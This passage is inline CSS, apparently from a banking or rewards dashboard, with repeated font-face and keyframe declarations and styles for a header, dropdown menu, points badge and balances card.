opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
header {
width: 100%;
height: 62px;
padding: 0 24px;
background-color: #ffffff;
backdrop-filter: blur(20px);
-webkit-backdrop-filter: blur(20px);
display: flex;
justify-content: space-between;
align-items: center;
box-sizing: border-box; }
@media (max-width: 1023px) {
header {
height: 96px;
padding: 0 16px;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
header.header--default {
background-color: #2A89A2; }
header.header--black {
background-color: #1A1A1F; }
header.header--platinum {
background-color: #172A48; } }
@media (max-width: 320px) {
header {
padding: 0 4px; } }
header .header__welcome {
display: flex; }
header .header__welcome .welcome__text {
font-family: Nunito-Bold;
font-size: 24px;
line-height: 24px;
color: #122e43; }
@media (max-width: 1023px) {
header .header__welcome .welcome__text {
display: none; } }
header .header__welcome .welcome__icon {
display: none; }
@media (max-width: 1023px) {
header .header__welcome .welcome__icon {
display: flex;
cursor: pointer;
margin-right: 8px; } }
header .header__welcome .welcome__logo {
display: none; }
@media (max-width: 1023px) {
header .header__welcome .welcome__logo {
display: flex; } }
header .header__menu {
display: flex; }
header .header__menu .menu__old {
display: flex;
align-items: center; }
@media (max-width: 1023px) {
header .header__menu .menu__old {
display: none; } }
header .header__menu .menu__old .old__span {
font-family: Nunito-Bold;
font-size: 14px;
line-height: 20px;
color: #18a0fb;
margin-right: 24px;
cursor: pointer; }
header .header__menu .menu__points {
margin-right: 24px; }
@media (max-width: 1023px) {
header .header__menu .menu__points {
order: 2;
margin: 0 4px 0 16px; } }
@media (max-width: 320px) {
header .header__menu .menu__points {
margin-left: 4px; } }
@media (max-width: 1023px) {
header .header__menu .menu__points .points .points__information .information__points--mobile,
header .header__menu .menu__points .points .points__information .information__title,
header .header__menu .menu__points .points .points__information .information__points {
color: #ffffff; } }
header .header__menu .menu__icons {
display: flex;
align-items: center; }
header .header__menu .menu__icons .icons__icon {
width: 40px;
height: 40px;
display: flex;
justify-content: center;
align-items: center;
margin-right: 8px;
cursor: pointer;
position: relative; }
@media (max-width: 1023px) {
header .header__menu .menu__icons .icons__icon {
width: 32px;
height: 32px;
background-color: rgba(255, 255, 255, 0.2);
border-radius: 50%;
margin-right: 16px; } }
@media (max-width: 320px) {
header .header__menu .menu__icons .icons__icon {
margin-right: 8px; } }
header .header__menu .menu__icons .icons__icon:last-child {
margin-right: 0; }
@media (max-width: 1023px) {
header .header__menu .menu__icons .icons__icon:last-child {
margin-right: 16px; }
header .header__menu .menu__icons .icons__icon:last-child:last-child {
margin-right: 0; } }
header .header__menu .menu__icons .icons__icon.loading {
width: 24px;
height: 24px;
border-radius: 10px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-90deg, #d8e6f3, #ecf2f8, #d8e6f3);
background-size: 350% 200%; }
@media (max-width: 1023px) {
header .header__menu .menu__icons .icons__icon.loading {
width: 32px;
height: 32px;
border-radius: 50%; } }
header .header__menu .menu__icons .icons__icon.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
header .header__menu .menu__icons .icons__icon .icon__notificaction {
position: absolute;
top: -4px;
left: 20px;
width: 16px;
height: 16px;
border: 1px solid #ffffff;
box-sizing: border-box;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
font-family: NunitoSans-ExtraBold;
font-size: 10px;
line-height: 14px; }
header .header__menu .menu__icons .icons__icon .icon__notificaction.notificaction--default {
background-color: #FD5B00;
color: #ffffff; }
header .header__menu .menu__icons .icons__icon .icon__desktop {
width: 24px; }
@media (max-width: 1023px) {
header .header__menu .menu__icons .icons__icon .icon__desktop {
display: none; } }
header .header__menu .menu__icons .icons__icon .icon__mobile {
display: none; }
@media (max-width: 1023px) {
header .header__menu .menu__icons .icons__icon .icon__mobile {
display: flex;
width: 20px; } }
header .header__menu .menu__icons .icons__icon .icon__select--user {
display: flex;
width: 32px;
height: 32px;
border-radius: 50%;
position: absolute;
opacity: 0;
cursor: pointer; }
@media (min-width: 1024px) {
header .header__menu .menu__icons .icons__icon .icon__select--user {
display: none; } }
.old--website {
width: 100%;
height: 46px;
display: flex;
justify-content: center; }
@media (min-width: 1024px) {
.old--website {
display: none; } }
.old--website.theme--default {
background-color: #2A89A2; }
.old--website.theme--black {
background-color: #1A1A1F; }
.old--website.theme--platinum {
background-color: #172A48; }
.old--website .old--website__span {
font-family: Nunito-Bold;
font-size: 16px;
line-height: 22px;
color: #ffffff;
cursor: pointer; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.dropdow--header__container {
width: 100%;
height: 100vh;
position: fixed;
top: 0;
left: 0;
z-index: 100;
background-color: rgba(0, 0, 0, 0.25); }
.dropdow--header__container.hidden {
visibility: hidden; }
.dropdow--header__container.show {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 1024px) {
.dropdow--header__container {
display: none; } }
.dropdow--header__container .container__list {
position: absolute;
padding: 8px;
box-sizing: border-box;
background-color: #ffffff;
box-shadow: 0px 13px 35px -20px rgba(0, 0, 0, 0.25), 0px 0px 1px rgba(40, 41, 61, 0.08), 0px 0.5px 2px rgba(96, 97, 112, 0.16);
border-radius: 6px; }
.dropdow--header__container .container__list .list__option {
width: 100%;
height: 35px;
display: flex;
align-items: center;
margin-bottom: 4px;
border-radius: 6px;
padding: 0 8px;
box-sizing: border-box;
cursor: pointer; }
.dropdow--header__container .container__list .list__option:last-child {
margin-bottom: 0; }
.dropdow--header__container .container__list .list__option.active {
background-color: #ecf2f8; }
.dropdow--header__container .container__list .list__option:hover {
background-color: #f4f7fa; }
.dropdow--header__container .container__list .list__option .option__name {
font-family: Nunito-Semibold;
font-size: 14px;
line-height: 20px;
color: #122e43; }
.dropdow--header__container .container__list .list__option .option__name.active {
font-family: Nunito-Bold;
color: #2d9cdb; }
.dropdow--header__container .container__list .list__option .option__badge {
height: 16px;
border-radius: 14px;
padding: 0 8px;
display: flex;
align-items: center;
color: #ffffff;
margin-left: 8px;
font-family: Nunito-Bold;
font-size: 10px;
line-height: 14px; }
.dropdow--header__container .container__list .list__option .option__badge.purple {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%); }
.dropdow--header__container .container__list .list__option .option__badge.mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.dropdow--header__container .container__list .list__option .option__badge.sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.dropdow--header__container .container__list .list__option .option__badge.emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
.dropdow--header__container .container__list .list__option .option__badge.ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.points {
width: fit-content;
height: 40px;
display: flex;
align-items: center;
background-color: #ffffff;
box-shadow: 0px 0px 1px rgba(40, 41, 61, 0.08), 0px 0.5px 2px rgba(96, 97, 112, 0.16);
border-radius: 28px;
box-sizing: content-box;
cursor: pointer; }
@media (max-width: 1023px) {
.points {
width: 50px;
height: auto;
background-color: transparent;
box-shadow: none;
border-radius: 0; } }
.points .points__logo {
width: 32px;
height: 32px;
margin: 0 4px; }
@media (max-width: 1023px) {
.points .points__logo {
display: none; } }
.points .points__logo .logo__loading {
width: 32px;
height: 32px;
border-radius: 50%;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.points .points__logo img.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.points .points__information {
display: flex;
flex-direction: column;
margin-right: 16px; }
@media (max-width: 1023px) {
.points .points__information {
margin: 0;
align-items: flex-end; } }
.points .points__information .information__points--mobile {
display: none; }
@media (max-width: 1023px) {
.points .points__information .information__points--mobile {
display: flex;
justify-content: flex-end;
font-family: Nunito-Bold;
font-size: 14px;
line-height: 20px;
color: #122e43;
white-space: nowrap; }
.points .points__information .information__points--mobile.loading {
width: 30px;
height: 14px;
margin-bottom: 2px;
border-radius: 50px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.points .points__information .information__points--mobile.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; } }
.points .points__information .information__title {
font-family: Nunito-Regular;
font-size: 12px;
line-height: 16px;
color: #122e43; }
.points .points__information .information__title.loading {
width: 94px;
height: 12px;
margin-bottom: 4px;
border-radius: 50px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.points .points__information .information__title.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 1023px) {
.points .points__information .information__title {
line-height: 10px;
text-align: right; }
.points .points__information .information__title.loading {
width: 54px;
height: 24px; } }
.points .points__information .information__points {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 20px;
color: #122e43; }
.points .points__information .information__points.loading {
width: 60px;
height: 14px;
border-radius: 50px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.points .points__information .information__points.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 1023px) {
.points .points__information .information__points {
display: none; } }
.points .points__information .information__points small {
font-size: 14px;
line-height: 20px;
font-family: Nunito-Bold; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.container__balances--card {
width: 100%;
height: 190px;
box-sizing: border-box;
background-color: #ffffff;
border: 1px solid #d4e3f2;
box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
border-radius: 6px;
padding: 24px;
display: flex;
flex-direction: column;
justify-content: space-between; }
@media (max-width: 576px) {
.container__balances--card {
height: auto;
padding: 16px; } }
.container__balances--card .balances--card__header .header__balance {
display: flex;
justify-content: space-between; }
.container__balances--card .balances--card__header .header__balance .balance__used {
display: flex;
align-items: center; }
@media (max-width: 576px) {
.container__balances--card .balances--card__header .header__balance .balance__used {
flex-direction: column;
align-items: flex-start; } }
.container__balances--card .balances--card__header .header__balance .balance__used .used__label {
font-family: NunitoSans-Regular;
font-size: 14px;
line-height: 20px;
color: #416179;
margin-right: 8px; }
.container__balances--card .balances--card__header .header__balance .balance__used .used__label.loading {
width: 90px;
height: 20px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.container__balances--card .balances--card__header .header__balance .balance__used .used__label.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 576px) {
.container__balances--card .balances--card__header .header__balance .balance__used .used__label {
margin-right: 0; }
.container__balances--card .balances--card__header .header__balance .balance__used .used__label.loading {
height: 16px;
margin-bottom: 4px; } }
.container__balances--card .balances--card__header .header__balance .balance__used .used__amount {
font-family: NunitoSans-Bold;
font-size: 16px;
line-height: 22px;
color: #122e43; }
.container__balances--card .balances--card__header .header__balance .balance__used .used__amount.loading {
width: 90px;
height: 20px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.container__balances--card .balances--card__header .header__balance .balance__used .used__amount.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__balances--card .balances--card__header .header__balance .balance__available {
display: flex;
align-items: center; }
@media (max-width: 576px) {
.container__balances--card .balances--card__header .header__balance .balance__available {
flex-direction: column;
align-items: flex-end; } }
.container__balances--card .balances--card__header .header__balance .balance__available .available__label {
font-family: NunitoSans-Regular;
font-size: 14px;
line-height: 20px;
color: #416179;
margin-right: 8px; }
.container__balances--card .balances--card__header .header__balance .balance__available .available__label.loading {
width: 90px;
height: 20px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.container__balances--card .balances--card__header .header__balance .balance__available .available__label.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 576px) {
.container__balances--card .balances--card__header .header__balance .balance__available .available__label {
margin-right: 0; }
.container__balances--card .balances--card__header .header__balance .balance__available .available__label.loading {
height: 16px;
margin-bottom: 4px; } }
.container__balances--card .balances--card__header .header__balance .balance__available .available__amount {
font-family: NunitoSans-Bold;
font-size: 16px;
line-height: 22px;
color: #122e43; }
.container__balances--card .balances--card__header .header__balance .balance__available .available__amount.loading {
width: 90px;
height: 22px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.container__balances--card .balances--card__header .header__balance .balance__available .available__amount.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__balances--card .balances--card__header .header__bar {
width: 100%;
height: 5px;
background-color: #d0e1f1;
margin: 4px 0 16px; }
.container__balances--card .balances--card__header .header__bar .bar__loading {
width: 100%;
height: 100%;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.container__balances--card .balances--card__header .header__bar .bar__progress {
height: 100%;
border-radius: 1px;
-webkit-transition-duration: 0.2s;
-moz-transition-duration: 0.2s;
-ms-transition-duration: 0.2s;
-o-transition-duration: 0.2s;
transition-duration: 0.2s;
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__balances--card .balances--card__header .header__bar .bar__progress.progress--purple {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%); }
.container__balances--card .balances--card__header .header__bar .bar__progress.progress--mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.container__balances--card .balances--card__header .header__bar .bar__progress.progress--sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.container__balances--card .balances--card__header .header__bar .bar__progress.progress--emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
.container__balances--card .balances--card__header .header__bar .bar__progress.progress--ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); }
.container__balances--card .balances--card__header .header__total {
display: flex;
justify-content: flex-end; }
.container__balances--card .balances--card__header .header__total .total__span {
font-family: NunitoSans-Regular;
font-size: 12px;
line-height: 16px;
color: #416179; }
.container__balances--card .balances--card__header .header__total .total__span.loading {
width: 130px;
height: 16px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.container__balances--card .balances--card__header .header__total .total__span.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__balances--card .balances--card__header .header__total .total__span small {
font-family: NunitoSans-Bold;
font-size: 12px;
line-height: 16px; }
.container__balances--card .balances--card__footer {
display: flex;
justify-content: space-between;
margin-top: 16px;
padding-top: 16px;
border-top: 1px solid #d4e3f2; }
@media (max-width: 320px) {
.container__balances--card .balances--card__footer {
align-items: center; } }
.container__balances--card .balances--card__footer .footer__label {
display: flex;
flex-direction: column; }
.container__balances--card .balances--card__footer .footer__label .label__title {
font-family: Nunito-Bold;
font-size: 18px;
line-height: 20px;
color: #122e43;
margin-bottom: 4px; }
.container__balances--card .balances--card__footer .footer__label .label__title.loading {
width: 130px;
height: 20px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.container__balances--card .balances--card__footer .footer__label .label__title.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 320px) {
.container__balances--card .balances--card__footer .footer__label .label__title {
margin-right: 16px; }
.container__balances--card .balances--card__footer .footer__label .label__title.loading {
width: 100px; } }
.container__balances--card .balances--card__footer .footer__label .label__subtitle {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 19px;
color: #122e43; }
.container__balances--card .balances--card__footer .footer__label .label__subtitle.loading {
width: 80px;
height: 20px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
